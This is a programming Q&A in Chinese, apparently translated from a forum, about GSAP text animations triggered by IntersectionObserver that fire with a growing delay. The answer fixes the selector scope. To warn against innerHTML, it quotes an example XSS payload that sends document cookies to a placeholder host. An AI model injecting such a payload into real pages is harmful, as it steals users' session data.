我正在使用IntersectionObserver为滚动上的每个h1
设置动画。正如您在代码段中所看到的那样,问题在于动画每次为h1触发一次。这意味着相交的h1
的每个新动画都需要等待之前的动画结束,并且结果基本上是每个entry.target
的增量延迟。那不是我想要的我尝试在未观察到anim-text
之前和之后删除entry.target
类,但是没有用。我认为问题出在// TEXT SPLITTING部分中的forEach
循环中,但是我的所有努力都没有解决问题。
谢谢您的帮助!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
在这里让我们简化一下,因为您展示的代码超出了必要。另外,您正在以一种奇怪的方式来做某些事情,所以也有一些技巧。
if (...) { return } else ...
,不需要else
范围:要么函数返回,要么我们继续。+
使用字符串合成:停止使用该字符串并开始使用现代的模板字符串。因此,您可以使用"a" + b + "c"
代替`a${b}c`
。不再有+
,也没有与字符串组成有关的bug。.innerHTML
分配:这是非常危险的,特别是如果其他人的脚本将您的标题更新为原义HTML代码(例如<img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">
等)时,则尤其如此。切勿使用innerHTML
,请使用常规DOM功能(createElement
,appendChild
等)。function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(letter => {
span = document.createElement('span');
span.textContent = letter;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings (entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
revealEntry(h1);
observer.unobserve(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>